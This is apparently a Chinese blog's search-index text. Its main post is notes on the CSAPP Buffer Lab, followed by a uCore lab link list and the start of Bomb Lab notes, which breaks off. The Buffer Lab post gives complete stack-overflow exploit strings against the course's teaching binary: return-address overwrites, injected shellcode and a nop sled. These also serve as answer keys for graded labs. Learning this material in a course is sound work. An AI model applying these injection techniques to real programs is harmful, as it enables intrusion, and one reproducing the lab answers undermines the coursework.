4我敲了那么多行，但实际上只是五次中的一次输入的内容，也就是被bufbomb识别为一行，原本的那些换行符全部被忽略了。\n如果希望更方便快捷地将输入导入bufbomb，可以使用Shell的IO重定向和pipe功能，如在将某关答案文件命名为exploit.txt的情况下：\nbash 复制代码 unix\u0026gt; cat exploit.txt | ./hex2raw | ./bufbomb -u username 1 unix\u0026gt; cat exploit.txt | ./hex2raw | ./bufbomb -u username 如果需要使用GDB，可以先将ASCII转换为raw text，然后再使用pipe设置参数，自动导入GDB：\nbash 复制代码 unix\u0026gt; ./hex2raw \u0026lt;exploit.txt\u0026gt; exploit-raw.txt unix\u0026gt; gdb bufbomb (gdb) set args -u username \u0026lt; exploit-raw.txt (gdb) run 1 2 3 4 unix\u0026gt; ./hex2raw \u0026lt;exploit.txt\u0026gt; exploit-raw.txt unix\u0026gt; gdb bufbomb (gdb) set args -u username \u0026lt; exploit-raw.txt (gdb) run 更概括地说，你需要编写的答案形式是使用分隔符分隔的十六进制数组成的文本文档，也就是下面我提供的答案形式；但这样的程序是无法被bufbomb识别的，所以需要使用hex2raw将其转化成raw text。它的内容与你写出的答案只有细微差别，但或许不能被普通文本编辑器打开。使用上面提到的IO重定向功能将其输入bufbomb，就可以让程序处理你的答案了。上述提到的第一种方法，是将本段提到的几个步骤合起来执行；而第二种方法就是将步骤拆开执行，以适应GDB。\n贴一张CSAPP 2e的栈帧示意图，熟记此图，会很有帮助。也不要忘了，栈向地址减小的方向增长（即栈顶地址小），而代码向高地址方向执行，字符串也向高地址方向存储（首位是地址最低的）。\n请提前制备bufbomb的objdump反汇编文件。\n下面使用的GDB含有 pwndbg 插件，可以提高GDB调试的效率。\n参考文献:\nhttps://billc.io/2019/05/csapp-bufferlab/ Level 0: Candle Level 0的任务是，在调用 getbuf() 后，不返回到 test()，而进入 smoke() 函数。很显然，这是让我们修改返回地址。\nasm 复制代码 08049262 \u0026lt;getbuf\u0026gt;:K 8049262: 55 push %ebp 8049263: 89 e5 mov %esp,%ebp 8049265: 83 ec 38 sub $0x38,%esp 8049268: 8d 45 d8 lea -0x28(%ebp),%eax 804926b: 89 04 24 mov %eax,(%esp) 804926e: e8 bf f9 ff ff call 8048c32 \u0026lt;Gets\u0026gt; 8049273: b8 01 00 00 00 mov $0x1,%eax 8049278: c9 leave 8049279: c3 ret 1 2 3 4 5 6 7 8 9 10 08049262 \u0026lt;getbuf\u0026gt;:K 8049262: 55 push %ebp 8049263: 89 e5 mov %esp,%ebp 8049265: 83 ec 38 sub $0x38,%esp 8049268: 8d 45 d8 lea -0x28(%ebp),%eax 804926b: 89 04 24 mov %eax,(%esp) 804926e: e8 bf f9 ff ff call 8048c32 \u0026lt;Gets\u0026gt; 8049273: b8 01 00 00 00 mov $0x1,%eax 8049278: c9 leave 8049279: c3 ret 阅读 getbuf 的汇编代码，可以发现Gets中获取的字符串会被存放在ebp-0x28的位置，而我们需要修改的地方就是ebp+4处的返回地址。因为 getbuf 并不会检查栈的边界，所以我们可以直接输入长于预期的字符串，把返回地址覆盖掉。再查看 smoke 节的首地址为0x8048e0a，可以得出输入内容前 (0x28+4) 字节可以为任意不为0a（回车）的内容，然后接上0a 8e 04 08**（注意小端序）**。附上本题栈帧图。\nLevel 0栈帧\n注意：本文中的栈帧都是倒过来的（相比其他博客和CSAPP原书）。\n然而发现首地址中含有0a，会被错误转义成回车。我们可以跳过第一个语句，因为这并不影响跳转到验证的步骤，毕竟我们并不需要完整的栈帧就可以直接检验。最后答案为：\nasm 复制代码 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 8e 04 08 1 2 3 4 5 6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 8e 04 08 最后一个答案的结尾不需要特意添加0a，hex2raw会自动在结尾添加一个。成功后提示 “Type string:Smoke !:You called smoke() VALID NICE JOB!”。\nLevel 1: Sparkler 这个Level和Level 0有一定相似度，目标都是阻止 getbuf 返回到 test，但这次需要跳转到 fizz，还需要将Cookie作为参数传入。\n注意到advice：程序并不会真的调用 fizz，而只是运行它的代码。这意味着不会有栈帧切换，也就决定了参数的放置位置。\n查看反汇编代码，发现 fizz 的首地址为0x08048daf，它就是我们需要的返回地址。像上题一样，前44个字节填入任意字符，然后45~48字节填入返回地址。但是，Cookie填到哪里呢？这需要我们看 fizz 的汇编代码。\nasm 复制代码 08048daf \u0026lt;fizz\u0026gt;: 8048daf: 55 push %ebp 8048db0: 89 e5 mov %esp,%ebp 8048db2: 83 ec 18 sub $0x18,%esp 8048db5: 8b 45 08 mov 0x8(%ebp),%eax 8048db8: 3b 05 04 d1 04 08 cmp 0x804d104,%eax 1 2 3 4 5 6 08048daf \u0026lt;fizz\u0026gt;: 8048daf: 55 push %ebp 8048db0: 89 e5 mov %esp,%ebp 8048db2: 83 ec 18 sub $0x18,%esp 8048db5: 8b 45 08 mov 0x8(%ebp),%eax 8048db8: 3b 05 04 d1 04 08 cmp 0x804d104,%eax 这是栈帧示意图。\nLevel 1栈帧\n这是它的前面一部分，0x8048db5处显示，参数处于ebp+8的位置。比对writeup文档的函数原型，这就是它的唯一一个参数，也就是Cookie。刚刚填入返回地址之后，已经修改了ebp+4ebp+7的内容，那么ebp+8ebp+7可以填入任意内容，再往ebp+8处填入你的Cookie（仍然注意端序）。最终答案如下：\nasm 复制代码 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 af 8d 04 08 /* fizz address: 0x08048daf */ 00 00 00 00 3c 3d 31 1b /* cookie: 0x1b313d3c */ 1 2 3 4 5 6 7 8 9 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 af 8d 04 08 /* fizz address: 0x08048daf */ 00 00 00 00 3c 3d 31 1b /* cookie: 0x1b313d3c */ 成功解除后，会提示 “Type string:Fizz !: You called fizz(0x1b313d3c) VALID NICE JOB!”。\nLevel 2: Firecracker 有一种更加复杂的缓冲区攻击，涉及到输入编码了机器指令的字符串。这个字符串会 用堆栈上指令的起始地址覆盖返回地址，当函数执行 ret 时，程序会开始 执行栈上的指令（会先跳转过去），而不是返回（到原本的地址）。这种形式的攻击可以让程序几乎能做任何事情。你放置在栈上的代码叫做漏洞利用代码。但是，这种攻击方式是很棘手的，因为你必须把机器码放到栈上，还得把返回地址指向代码段头部。\nWriteup（经本人翻译）\n不愧是Writeup，题面放第二段去了，而第一段上来就把思路和主要困难说明白了。\n这道题要求我们将 bang 函数中一个名为 global_value 的变量设为cookie，然后跳转到 bang 中执行。这看起来就是个全局变量，看一眼汇编代码，很容易搞到 global_value 的地址0x804d10c，bang 的首地址是0x8048d52，如果想确认也可以用GDB打一下。\n有了上面的思路，大体的就明白了：将return address替换为输入的字符串中指令的开始地址，然后让其将Cookie MOV到global_value的地址中，再然后跳转到bang的首地址中。但是，writeup最后还给了我们一些提示：\n可以先写汇编，用GCC编译，然后再反汇编，来得到指令对应的机器码。 字符串与机器、编译器，以及Cookie相关。可能在提醒我们64位机器编译时要加 -m32。 注意汇编的寻址模式。主要是立即数（带 $）和地址的区别。 最重要的，不要使用 jmp 或 call 这两种程序计数器相关的指令进入 bang，应该将 bang 首地址入栈，然后使用 ret。 附上栈帧结构：\nLevel 2栈帧\n有了这些，我们就可以开始写汇编代码了，很简单的三行（注意扩展名. s）：\nasm 复制代码 // firecracker.s movl $0x1b313d3c, 0x804d10c // write cookie into global_value pushl $0x8048d52 // push bang into stack ret // enter bang 1 2 3 4 // firecracker.s movl $0x1b313d3c, 0x804d10c // write cookie into global_value pushl $0x8048d52 // push bang into stack ret // enter bang 然后使用命令\nbash 复制代码 unix\u0026gt; gcc -m32 -c firecracker.s unix\u0026gt; objdump -d firecracker.o \u0026gt; firecracker_disasm.txt 1 2 unix\u0026gt; gcc -m32 -c firecracker.s unix\u0026gt; objdump -d firecracker.o \u0026gt; firecracker_disasm.txt 就可以得到指令的十六进制表示了。\n接下来需要得到指令的起始地址，如果直接将指令放进漏洞利用字符串的开头的话，那它就是字符串的首地址。分析 getbuf 的反汇编代码得，它位于ebp-0x28，那么直接在内部任一点打一个断点，然后打出ebp即可计算出起始地址0x55683cc8。\n我们需要的字符串仍然是和前两个Level有些相似的，都是45-48字节放置返回地址，但前几个字节需要放置指令了。最终的字符串如下所示：\nasm 复制代码 c7 05 0c d1 04 08 3c /* movl $0x1b313d3c,0x804d10c */ 3d 31 1b 68 52 8d 04 08 /* push $0x8048d52 */ c3 /* ret */ /* end of assembly, 16 bytes in total */ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* 7*4=28 random bytes */ c8 3c 68 55 /* return address 0x55683cc8 */ 1 2 3 4 5 6 7 8 9 10 c7 05 0c d1 04 08 3c /* movl $0x1b313d3c,0x804d10c */ 3d 31 1b 68 52 8d 04 08 /* push $0x8048d52 */ c3 /* ret */ /* end of assembly, 16 bytes in total */ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* 7*4=28 random bytes */ c8 3c 68 55 /* return address 0x55683cc8 */ 当然，这样就通过了。\nLevel 3: Dynamite 我们之前的攻击都让程序跳转到其他函数的代码，然后程序就会退出。所以，我们可以使用会破坏栈结构的漏洞利用代码，从而覆盖保存的数值。\n最复杂的缓冲区溢出攻击让程序执行一些改变寄存器 / 内存内容的代码，但程序会 返回到本来的调用者函数。调用者对攻击一无所知。但这种攻击也很复杂，因为你需要：1）把机器码放到栈上，2）把返回地址设置到这段代码开头，3）恢复被破坏的栈结构。\nWriteup（经本人翻译）\n这个Level比上个Level难一些，但如果GDB用得比较好，可以通过调试来窥探题目的奥秘。题目的任务就是把返回值修改为Cookie，但还要让 getbuf 正常返回到 test。成功后会输出一个Boom。\n其实程序的部分跟Level 2没有太大的区别，将Cookie写入eax（存放返回值）、将 test 返回地址入栈，然后返回。返回地址可以翻汇编代码，就是调用语句的下一句。汇编代码如下：\nasm 复制代码 movl $0x1b313d3c, %eax # set cookie as return value push $0x08048e50 # original test return address ret # return to test 1 2 3 movl $0x1b313d3c, %eax # set cookie as return value push $0x08048e50 # original test return address ret # return to test 我们可以先不恢复栈结构，直接跳回去，看看会发生什么。依照上题的方法，得出输入文件：\nasm 复制代码 b8 3c 3d 31 1b /* mov $0x1b313d3c, %eax */ 68 50 8e 04 08 /* push $0x8048e50 */ c3 /* ret */ /* end of assembly, 11 bytes in total */ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* 11*3=33 random bytes */ c8 3c 68 55 /* return address 0x55683cc8 */ 1 2 3 4 5 6 7 8 b8 3c 3d 31 1b /* mov $0x1b313d3c, %eax */ 68 50 8e 04 08 /* push $0x8048e50 */ c3 /* ret */ /* end of assembly, 11 bytes in total */ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* 11*3=33 random bytes */ c8 3c 68 55 /* return address 0x55683cc8 */ 将其通过hex2raw转换，然后输入bufbomb。既然知道会崩掉，那就在0x8048e50打个断点，运行一下。\n发现ebp变成了0，esp的值也不怎么对劲。查阅栈帧结构图，发现旧ebp会在getbuf中被压栈到新的ebp处，它在我们输入的数据中对应的是41~44字节。本题的重点就在于恢复旧ebp。\nLevel 3栈帧\n使用GDB在getbuf中打断点停止，然后执行 x/wx $ebp，可以读取到它的值0x55683d20。\n依此修改输入文件：\nasm 复制代码 b8 3c 3d 31 1b /* mov $0x1b313d3c, %eax */ 68 50 8e 04 08 /* push $0x8048e50 */ c3 /* ret */ /* end of assembly, 11 bytes in total */ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* 11*3-4=29 random bytes */ 20 3d 68 55 /* old ebp 0x55683d20 */ c8 3c 68 55 /* return address 0x55683cc8 */ 1 2 3 4 5 6 7 8 9 b8 3c 3d 31 1b /* mov $0x1b313d3c, %eax */ 68 50 8e 04 08 /* push $0x8048e50 */ c3 /* ret */ /* end of assembly, 11 bytes in total */ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* 11*3-4=29 random bytes */ 20 3d 68 55 /* old ebp 0x55683d20 */ c8 3c 68 55 /* return address 0x55683cc8 */ 不出意外地通过了。\n你可能有这样的疑问：答案能不能再长些？很容易能想到，如果输入覆盖的范围超过了返回地址，就可能会侵入上一个栈帧的空间而破坏其内容，所以答案可不可以再长些，取决于上一个栈帧的结构能不能被破坏。对于前三个Level，这种行为理论上是可以接受的；而对于Level 3\u0026amp;4，上一栈帧的结构需要完整保持，所以答案不能再长了。\nLevel 4: Nitroglycerin 前面几个level差不多就是热身水平，到了这里才是对栈帧结构和程序调试技术的一个综合考察。本level需要使用 -n 参数运行bufbomb。\n每一次运行，尤其是由不同的用户运行，某个过程使用的确切栈空间会有所不同。一个原因是，每次运行时，所有环境变量的值都会被放在栈的底部。环境变量以字符串的形式存储，占用的空间根据值的不同而不同。所以，对某个用户来说，分配的栈空间由用户设置的环境变量有关。在使用GDB运行程序时，栈的位置也会不同，因为GDB使用栈空间来存储它的一些状态。\n在调用 getbuf 的代码中，我们使用了一些稳定栈位置的特性，所以每次运行的时候 getbuf 的栈帧都不会变。这样你就可以在已知 buf 的起始地址的情况下，写出漏洞利用字符串。如果你在一个普通程序中尝试使用这种方法，你会发现它有时候管用，有时候又会引发段错误。所以我们起了 “火药”（dynamite，Level 3代号）这个名字——一种诺贝尔研制的炸药，含有稳定元素，以防意外爆炸。\n这次我们反着来，让栈的位置比原先还要不稳定。所以它有了 “硝酸甘油” 这个名字——一种十分不稳定的炸药。\nWriteup（经本人翻译）\n这个Level的核心目标和Level 3差不多，都是把返回值设为Cookie。只不过，这次要调用5次 getbufn，相应的把答案也重复5次，缓冲区长度变成了512字节（虽然我们肯定要输得比这个长，毕竟要改变 “不该改变的” 区域），而 getbufn 的栈地址变动可能高达240字节。每次都必须稳定地返回Cookie到 testn 函数。\n考虑到跳转地址是固定的，而栈的位置变动却很大，如果每次根据固定的地址跳跃，如果没有正好跳转到我们注入的代码开头，就可能造成不可预料的结果。所以如何保证在落点的相对位置变动很大的情况下，最后还是能稳定地执行注入代码，就成为了本题最重要的部分。\n提示：\n在hex2raw后面加 -n 参数可以将答案复制n份输出。即使不用，5份答案也必须相同。 善用 nop 指令能够帮助解题。可以阅读CSAPP 2e P262（中文版P180中部）的 “nop sled” 部分。 所谓的nop sled，简单来说，就是通过在代码中添加一大堆 nop 指令，不管绝对地址跳到哪个位置，也不会执行什么奇怪的操作，而是最终都要一个一个执行 nop，直到真正的漏洞利用代码的位置。\n整体结构 有了这个认识，我们就能基本推断出输入字符串的结构：对应原返回地址处是新返回地址，它紧接着真正有用的注入代码之后，前面剩下的空间，就全都用 nop 填充。随手画一张图，展示注入过代码的 getbufn 每次执行时跳转的过程，或许能帮助你明白：\n图中不同位置的条代表每次执行位置不同的 getbufn，ret 指令从每次不同的逻辑地址取出返回地址，但每次都跳转到固定的跳转地址。如果这个区域内都是 nop，那么跳转之后就相当于 “落下来”，在运行注入代码之前什么都没干。\n接下来将会根据输入字符串的结构，分别解释得出的方法。\n核心代码 首先我们要解决的是恢复 testn 的栈结构，也就是原ebp。看一眼 testn 的汇编代码。\nasm 复制代码 08048cce \u0026lt;testn\u0026gt;: 8048cce: 55 push %ebp 8048ccf: 89 e5 mov %esp,%ebp 8048cd1: 53 push %ebx 8048cd2: 83 ec 24 sub $0x24,%esp 1 2 3 4 5 08048cce \u0026lt;testn\u0026gt;: 8048cce: 55 push %ebp 8048ccf: 89 e5 mov %esp,%ebp 8048cd1: 53 push %ebx 8048cd2: 83 ec 24 sub $0x24,%esp 因为中间将ebx暂存，esp又减了4，所以原ebp在esp+0x28处。我们使用一个 lea 指令将其恢复。\nasm 复制代码 leal 0x28(%esp), %ebp # restore ebp register 1 leal 0x28(%esp), %ebp # restore ebp register 然后是本题的核心目标，让 getbufn 返回Cookie，就是把eax设为Cookie。这个和之前没什么区别。\nasm 复制代码 movl $0x1b313d3c, %eax # set cookie as return value 1 movl $0x1b313d3c, %eax # set cookie as return value 最后就是将返回地址入栈，然后返回，跟Level 3同理。\nasm 复制代码 push $0x8048ce2 # original testn return address ret 1 2 push $0x8048ce2 # original testn return address ret 完整的汇编代码就不放了，反正也没几句。这些语句的顺序并不是自由的，此处将 movl 句放到 leal 之前，就会导致指令读取错误（将几个nop + 一个leal读取成一个addb和一个xorl），进而引发段错误，目前不知道是什么原理。如果有读者知道是什么原因，烦请赐教。\n返回地址 因为栈的位置有很大的随机性，而输入内容的 nop 部分是有边界的，所以我们需要确定一个大概的跳转地址边界，确保每次都能够跳入 nop 范围。我们可以多次使用gdb调试i，在 getbufn 处打断点并运行，每次取ebp的值并统计最大值，借此得到 buf 数组起始地址大概最大值，也就是跳转地址的大概最大值；由ebp的值又可以取到最小值，估计出 nop 区域结束地址的大概最小值，也就是跳转地址的大概最小值。反正缓冲区500多个字节，栈位置的变动最多才240字节，随便在中间选个值就好。\n可以结合上面的图来理解：跳转地址的范围是第二个栈帧 nop 上界和第三个栈帧exploit上界之间的范围。\nasm 复制代码 08049244 \u0026lt;getbufn\u0026gt;: 8049244: 55 push %ebp 8049245: 89 e5 mov %esp,%ebp 8049247: 81 ec 18 02 00 00 sub $0x218,%esp 804924d: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax 8049253: 89 04 24 mov %eax,(%esp) 8049256: e8 d7 f9 ff ff call 8048c32 \u0026lt;Gets\u0026gt; 804925b: b8 01 00 00 00 mov $0x1,%eax 8049260: c9 leave 8049261: c3 ret 1 2 3 4 5 6 7 8 9 10 08049244 \u0026lt;getbufn\u0026gt;: 8049244: 55 push %ebp 8049245: 89 e5 mov %esp,%ebp 8049247: 81 ec 18 02 00 00 sub $0x218,%esp 804924d: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax 8049253: 89 04 24 mov %eax,(%esp) 8049256: e8 d7 f9 ff ff call 8048c32 \u0026lt;Gets\u0026gt; 804925b: b8 01 00 00 00 mov $0x1,%eax 8049260: c9 leave 8049261: c3 ret 根据上述 getbufn 的反汇编代码，buf 数组的起始地址是ebp-0x208，也就是nop区域的上界。\n随意调试运行，得到几个ebp的值为0x55683cf0、0x55683d50、0x55683cd0、0x55683d00、0x55683ce0、0x55683cf0、0x55683d50、0x55683cd0、0x55683d00、0x55683ce0，其中最小值为0x55683cd0，最大值为0x55683d50。推算出跳转地址最小值大约是0x55683b48，保守起见将返回地址 + 20，设为0x55683b5c。\nNop Sled nop 部分 + 核心代码部分需要将返回地址部分 “撑” 到ebp+4开始（含）4个字节处，则这两部分加起来的长度为0x208+8=528字节。前面核心代码的二进制表示占据了15字节，所以需要填充509字节 nop（也就是90）。\n把这三块连起来，输入的文本数据就很容易得到了（此处建议关闭折行显示，更美观）：\nasm 复制代码 /* nop area, 509 bytes in total */ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /* core assembly area, 15 bytes in total */ 8d 6c 24 28 /* lea 0x28(%esp),%ebp */ b8 3c 3d 31 1b /* mov $0x1b313d3c,%eax */ 68 e2 8c 04 08 /* push $0x8048ce2 */ c3 /* ret */ /* return address 0x55683b5c, 4 bytes in total */ 5c 3b 68 55 1 2 3 4 5 6 7 8 9 10 11 12 /* nop area, 509 bytes in total */ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /* core assembly area, 15 bytes in total */ 8d 6c 24 28 /* lea 0x28(%esp),%ebp */ b8 3c 3d 31 1b /* mov $0x1b313d3c,%eax */ 68 e2 8c 04 08 /* push $0x8048ce2 */ c3 /* ret */ /* return address 0x55683b5c, 4 bytes in total */ 5c 3b 68 55 其他值得注意的事情 上面所说的都是每一次调用 getbufn 所输入的内容，而一共要输入五次，可以使用 hex2raw 的 -n 参数指定输出答案的重复次数。hex2raw 会在每次重复的答案最后自动添加换行分隔符0a。\n好在经过这一番折腾，Lab 4终于也完成了。\n","date":"April 25, 2022","matchCount":0,"permalink":"/post/csapp-bufferlab/","preview":"","title":"CSAPP 2e Buffer Lab 笔记"},{"content":"此系列并不是完整的实验指南，也不能替代实验指导书，而是意图是用我的经验，挑选一部分较好的文章，为时间不太充裕的读者节省一部分查找资料的时间。\n简而言之，a collection for jump start.\n系统环境 你需要一个64位的Linux，但不建议使用WSL，Make容易出现玄学错误。可以在 清华镜像站 下载Ubuntu，下载后还可以换清华源。\n系统安装后还需要 添加 32 位支持、安装GCC Multilib、QEMU。\nuCore代码在 https://github.com/chyyuu/os_kernel_lab，Git Clone下来之后使用 git checkout master 切换分支，否则是rCore源代码。\n如果make qemu提示没有找到gnome-terminal，可以（1）安装gnome-terminal或（2）将makefile中的gnome-terminal改成你的终端名称。\n知识基础 请不要忘了 官方文档“练习” 之外的内容，也很有用。\n练习1 什么是Makefile：https://seisman.github.io/how-to-write-makefile/introduction.html\n查找命令和参数的用法：在Shell中运行 man，或者更容易查找的 Ubuntu Manpage 网站\n什么是主引导记录 / MBR/0x55aa是干什么的：https://daemon369.github.io/linux/2013/08/03/master-boot-record\nGCC文档：https://gcc.gnu.org/onlinedocs/gcc-11.2.0/gcc/\n练习2 GDB远程调试：https://www.cnblogs.com/blogs-of-lxl/p/10462262.html 或使用vscode（没错，万能的vscode）：https://blog.xhyeax.com/2020/10/15/vscode-debug-ucore/\n练习3 A20总线：https://wiki.osdev.org/A20_Line\nGDT：https://wiki.osdev.org/Global_Descriptor_Table\n练习4 这部分可以查看官方文档的 “ELF文件格式概述” 和“硬盘访问概述”部分。\n练习5 看代码注释。\n练习6 中断向量表：https://wiki.osdev.org/Interrupt_Descriptor_Table\n编程部分看代码注释。\nChallenge 暂不包含，如果时间不充裕，不建议尝试Challenge。\n实验报告 https://kiprey.github.io/2020/08/uCore-1/\nhttps://xr1s.me/2018/05/15/ucore-lab1-report\nhttps://www.jianshu.com/p/2f95d38afa1d\nhttps://niebelungen-d.github.io/posts/ucore-lab-1/\n","date":"April 17, 2022","matchCount":0,"permalink":"/post/thu-ucore-lab-0-/-1-%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8B/","preview":"","title":"THU uCore Lab 0 / 1 快速上手"},{"content":"这个Lab训练的是分析汇编代码和使用GDB调试的能力。题目是一个二进制文件 bomb，和只包含 main 函数的 bomb.c，使用者需要借助工具，在六个Phase中分别输入对应的文本，来解除 “炸弹”。一旦输入错误，就会 “引爆炸弹”。\n每个人生成的bomb内容可能不尽相同，但思路相似，这里只以我做到的版本为例。\n实验文件 （是32位）：https://git.cyp0633.icu/cyp0633/CSAPP-labs/src/branch/master/LAB3-bomblab\n环境：Ubuntu 22.04, GDB 12.0.90\n参考资料：\nhttps://earthaa.github.io/2020/01/12/CSAPP-Bomblab/ 非常详细的解析，但是是64位，无Secret Phase。 https://www.viseator.com/2017/06/21/CS_APP_BombLab/ 第6题解析写得很好，也是64位的。 前期准备 最基础的一点是，你需要对汇编语言有一定的了解，起码能够大概熟悉CSAPP前三章的内容。\n正如上文所说，最好先熟悉一下GDB的使用，边写边查也不是不行，但很容易拖慢速度。可以看看 https://www.cnblogs.com/acceptedzhs/p/13161213.html，或者 参考资料1中的gdb命令速查，非常有用。 可以在GDB中执行 layout asm 来打开下面的视图，事半功倍：\n此外，还需要准备一份反汇编代码，objdump -d bomb \u0026gt; bomb.s 就可以将bomb反汇编，并将代码保存到bomb.s中。也可以在GDB中进行反汇编。当然，1800行的汇编代码应该不会有人去完全研究，所以只能结合调试来做。\n你还需要一个能够计算十六进制的计算器。如果你使用Windows，可以使用自带计算器；在Linux下，可以使用Python。\n除此之外，如果你有二进制文件分析的经验，你也可以直接使用 angr 等工具直接找到答案，达成速通。\nPhase 1 查看 bomb.c 得到Phase 1相关的C代码。\nc 复制代码 input = read_line(); /* Get input */ phase_1(input); /* Run the phase */ phase_defused(); /* Drat! They figured it out! * Let me know how they did it. */ printf(\u0026#34;Phase 1 defused. How about the next one?\\n\u0026#34;); 1 2 3 4 5 input = read_line(); /* Get input */ phase_1(input); /* Run the phase */ phase_defused(); /* Drat! They figured it out! * Let me know how they did it. */ printf(\u0026#34;Phase 1 defused. How about the next one?\\n\u0026#34;); 可以看出，程序先使用 read_line() 函数读取输入，并让input变量指向它。然后将其传给 phase_1。此时 char 指针应该存储在 4(%esp) 中。然后查看 phase_1 的反汇编代码。包括 read_line 之类的函数并不需要详细了解，因为我们可以很容易看出来它干了什么。\nasm 复制代码 08048b90 \u0026lt;phase_1\u0026gt;: 8048b90: 83 ec 1c sub $0x1c,%esp 8048b93: c7 44 24 04 0c a2 04 movl $0x804a20c,0x4(%esp) 8048b9a: 08 8048b9b: 8b 44 24 20 mov 0x20(%esp),%eax 8048b9f: 89 04 24 mov %eax,(%esp) 8048ba2: e8 43 05 00 00 call 80490ea \u0026lt;strings_not_equal\u0026gt; 8048ba7: 85 c0 test %eax,%eax 8048ba9: 74 05 je 8048bb0 \u0026lt;phase_1\u0026#43;0x20\u0026gt; 8048bab: e8 45 06 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048bb0: 83 c4 1c add $0x1c,%esp 8048bb3: c3 ret 1 2 3 4 5 6 7 8 9 10 11 12 08048b90 \u0026lt;phase_1\u0026gt;: 8048b90: 83 ec 1c sub $0x1c,%esp 8048b93: c7 